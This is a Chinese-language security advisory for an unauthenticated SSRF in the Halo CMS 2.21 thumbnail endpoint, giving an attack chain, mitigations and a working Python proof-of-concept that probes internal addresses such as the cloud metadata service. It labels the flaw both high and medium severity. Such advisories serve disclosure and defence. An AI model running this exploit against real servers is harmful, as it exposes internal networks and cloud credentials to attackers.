IPBUF安全漏洞报告
English
CVE-2025-60898 CVSS 5.8 中危

CVE-2025-60898 Halo CMS 2.21 Thumbnail via-uri端点SSRF漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-60898
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Halo CMS 2.21

相关标签

SSRF服务端请求伪造Halo CMSCVE-2025-60898未授权访问信息泄露内网探测Web安全

漏洞概述

CVE-2025-60898是Halo CMS 2.21版本中存在的一个高危安全漏洞,位于系统的Thumbnail via-uri端点。该漏洞属于服务端请求伪造(Server-Side Request Forgery,SSRF)类型,允许未经认证的远程攻击者利用服务器向任意URL发起请求,包括攻击者控制的外部服务器和内部网络资源。漏洞的根本原因在于Thumbnail端点对用户提供的URI参数缺乏充分的输入验证和安全过滤机制,攻击者可以通过构造特殊的请求参数,诱导服务器向内部服务(如数据库、缓存服务器、监控组件等)发送HTTP请求。由于服务器通常部署在内部网络中且具有较高的网络访问权限,攻击者可以利用此漏洞进行内网资产探测、读取内部服务响应数据,甚至通过307重定向响应中的Location头泄露内部敏感URL信息。该漏洞无需任何用户交互或认证即可被利用,CVSS评分5.8,属于中等严重程度,但潜在危害不容忽视,特别是对于在云环境或容器化部署中使用的Halo CMS实例。

技术细节

漏洞存在于Halo CMS 2.21的Thumbnail功能模块中,具体位于处理via-uri参数的端点。当用户请求生成缩略图时,系统允许通过URI参数指定图片来源地址。问题在于该端点直接使用用户输入的URI执行服务器端GET请求,而没有实施严格的URL白名单/黑名单验证机制。攻击者可以构造包含内部IP地址(如192.168.x.x、10.x.x.x、127.0.0.1)或云服务商元数据端点(如AWS 169.254.169.254)的请求。服务器收到请求后,会向指定地址发起HTTP GET请求,并将响应(包括状态码和头部信息)返回给攻击者。值得注意的是,系统返回307临时重定向响应,其中Location头会包含原始请求的完整URL,这一特性可被用于信息泄露目的。攻击者可以通过分析响应内容获取目标服务的指纹信息、版本号或其他敏感数据。在某些配置下,如果内部服务未正确配置访问控制,攻击者甚至可能通过SSRF链实现对内部服务的进一步利用。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站上运行的Halo CMS 2.21版本,通过robots.txt、页面源码或错误信息确认CMS类型和版本
STEP 2
步骤2
攻击者构造恶意请求,访问/api/thumbnails/thumbnail端点,通过uri参数指定攻击者控制的外部服务器URL或内部网络地址
STEP 3
步骤3
Halo CMS服务器收到请求后,在服务器端执行GET请求到攻击者指定的URI,由于缺乏URL验证机制,请求可以指向任意地址
STEP 4
步骤4
目标内部服务(如数据库、缓存、监控等)接收并响应服务器的请求,服务器将响应(包括307重定向的Location头)返回给攻击者
STEP 5
步骤5
攻击者分析响应数据,提取内部服务指纹、版本信息、敏感配置或API密钥等有价值信息
STEP 6
步骤6
利用获取的内部网络拓扑和服务信息,攻击者可以进一步发起针对性攻击,如横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys def exploit_ssrf(target_url, internal_target): """ CVE-2025-60898 PoC - Halo CMS 2.21 SSRF via Thumbnail via-uri endpoint Args: target_url: Target Halo CMS server URL internal_target: Internal URL to probe (e.g., http://169.254.169.254/latest/meta-data/) Returns: Response from the SSRF request """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/api/thumbnails/thumbnail" # Payload with via-uri parameter pointing to internal resource params = { 'uri': internal_target } print(f"[*] Targeting: {endpoint}") print(f"[*] Probing internal resource: {internal_target}") try: # Send request without authentication response = requests.get(endpoint, params=params, timeout=10, allow_redirects=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Headers: {dict(response.headers)}") if response.status_code == 307: print(f"[!] SSRF Confirmed - Location Header: {response.headers.get('Location', 'N/A')}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <internal_url>") print(f"Example: python {sys.argv[0]} http://target.com http://127.0.0.1:8080/admin") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)

影响范围

Halo CMS 2.21

防御指南

临时缓解措施
在官方修复版本发布之前,可通过以下措施临时缓解风险:1)使用Web服务器配置(如Nginx/Apache)限制对/api/thumbnails/thumbnail端点的访问;2)通过防火墙规则阻止服务器对内网IP段的出站连接;3)部署WAF并配置SSRF检测规则,对包含内网IP、localhost、云元数据端点等特征的请求进行拦截;4)考虑暂时禁用Thumbnail via-uri功能,使用默认的图片处理方式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表